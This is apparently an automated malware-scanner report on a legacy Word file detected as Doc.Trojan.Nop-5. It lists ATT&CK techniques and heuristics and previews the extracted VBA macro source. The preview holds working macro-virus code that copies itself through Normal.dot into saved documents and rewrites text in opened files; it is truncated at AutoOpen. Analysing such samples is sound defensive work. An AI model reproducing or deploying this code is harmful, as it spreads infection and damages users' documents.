MALICIOUS
200
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1547.001 Registry Run Keys / Startup Folder
The sample is a legacy Word document containing VBA macros, specifically an AutoOpen macro, which is a common technique for initial execution. The macro attempts to copy itself and other macros to the Normal.dot template and potentially other documents, indicating a propagation or persistence mechanism. While the exact payload is not clear due to truncation, the macro's behavior strongly suggests malicious intent.
Heuristics 4
-
ClamAV: Doc.Trojan.Nop-5 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Trojan.Nop-5
-
VBA macros detected medium 1 related finding OLE_VBA_MACROSDocument contains VBA macro code
-
AutoOpen macro high OLE_VBA_AUTOOPENAutoOpen macro
-
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXECOLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 14428 bytes |
SHA-256: 45b2ddf19226960f476d4bed8fa174996797290058381da71c08e81efa093ac6 |
|||
|
Detection
ClamAV:
Doc.Trojan.Nop-5
Obfuscation or payload:
unlikely
|
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Name = "HelpAbout"
Rem ===============================================================
Rem Some Joke from this Macro.
Rem ===============================================================
Public Sub MAIN()
Attribute MAIN.VB_Description = "Отображает информацию о программе и номер версии"
Attribute MAIN.VB_ProcData.VB_Invoke_Func = "TemplateProject.HelpAbout.MAIN"
On Error GoTo -1: On Error GoTo Halt
WordBasic.HelpAbout APPNAME:="Sucks!"
Halt:
Err.Number = 0
End Sub
Attribute VB_Name = "FileClose"
Rem ==============================================================
Rem Invecting module of this Macro.
Rem ==============================================================
Public Sub MAIN()
Attribute MAIN.VB_Description = "Закрывает все окна активного документа"
Attribute MAIN.VB_ProcData.VB_Invoke_Func = "TemplateProject.FileClose.MAIN"
Dim W
Dim N$
Dim S$
On Error GoTo -1: On Error GoTo Halt
W = WordBasic.IsDocumentDirty()
Dim Dlg As Object: Set Dlg = WordBasic.DialogRecord.FileSaveAs(False)
WordBasic.CurValues.FileSaveAs Dlg
If Dlg.Format <= 1 Then
If Dlg.Format = 0 Then
Dlg.Format = 1
WordBasic.FileSaveAs Dlg
End If
N$ = "Normal.Dot:"
S$ = Dlg.Name + ":"
WordBasic.MacroCopy N$ + "FileClose", S$ + "FileClose", 1
WordBasic.MacroCopy N$ + "DocClose", S$ + "DocClose", 1
WordBasic.MacroCopy N$ + "FileOpen", S$ + "FileOpen", 1
WordBasic.MacroCopy N$ + "HelpAbout", S$ + "HelpAbout", 1
WordBasic.MacroCopy N$ + "Internal", S$ + "AutoOpen", 1
WordBasic.SetDocumentDirty W
End If
Halt:
Err.Number = 0
WordBasic.FileClose
End Sub
Attribute VB_Name = "FileOpen"
Rem ==================================================================
Rem Destructive operations from this Macro.
Rem ==================================================================
Public Sub MAIN()
Attribute MAIN.VB_Description = "Открывает существующий документ или шаблон"
Attribute MAIN.VB_ProcData.VB_Invoke_Func = "TemplateProject.FileOpen.MAIN"
On Error GoTo -1: On Error GoTo Halt
Dim Dlg As Object: Set Dlg = WordBasic.DialogRecord.FileOpen(False)
WordBasic.CurValues.FileOpen Dlg
WordBasic.Dialog.FileOpen Dlg
WordBasic.FileOpen Dlg
WordBasic.EditReplace Find:="Windows", Replace:="Sucks must die!", ReplaceAll:=1
Halt:
Err.Number = 0
End Sub
Attribute VB_Name = "DocClose"
Rem ==============================================================
Rem Invecting module of this Macro.
Rem ==============================================================
Public Sub MAIN()
Attribute MAIN.VB_Description = "Предлагает сохранить активный документ и закрывает активное окно"
Attribute MAIN.VB_ProcData.VB_Invoke_Func = "TemplateProject.DocClose.MAIN"
Dim W
Dim N$
Dim S$
On Error GoTo -1: On Error GoTo Halt
W = WordBasic.IsDocumentDirty()
Dim Dlg As Object: Set Dlg = WordBasic.DialogRecord.FileSaveAs(False)
WordBasic.CurValues.FileSaveAs Dlg
If Dlg.Format <= 1 Then
If Dlg.Format = 0 Then
Dlg.Format = 1
WordBasic.FileSaveAs Dlg
End If
N$ = "Normal.Dot:"
S$ = Dlg.Name + ":"
WordBasic.MacroCopy N$ + "FileClose", S$ + "FileClose", 1
WordBasic.MacroCopy N$ + "DocClose", S$ + "DocClose", 1
WordBasic.MacroCopy N$ + "FileOpen", S$ + "FileOpen", 1
WordBasic.MacroCopy N$ + "HelpAbout", S$ + "HelpAbout", 1
WordBasic.MacroCopy N$ + "Internal", S$ + "AutoOpen", 1
WordBasic.SetDocumentDirty W
End If
Halt:
Err.Number = 0
WordBasic.DocClose
End Sub
Attribute VB_Name = "AutoOpen"
Rem =================================================================
Rem StartUp Initialization.
Rem =================================================================
Public Sub MAIN()
... (truncated)
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.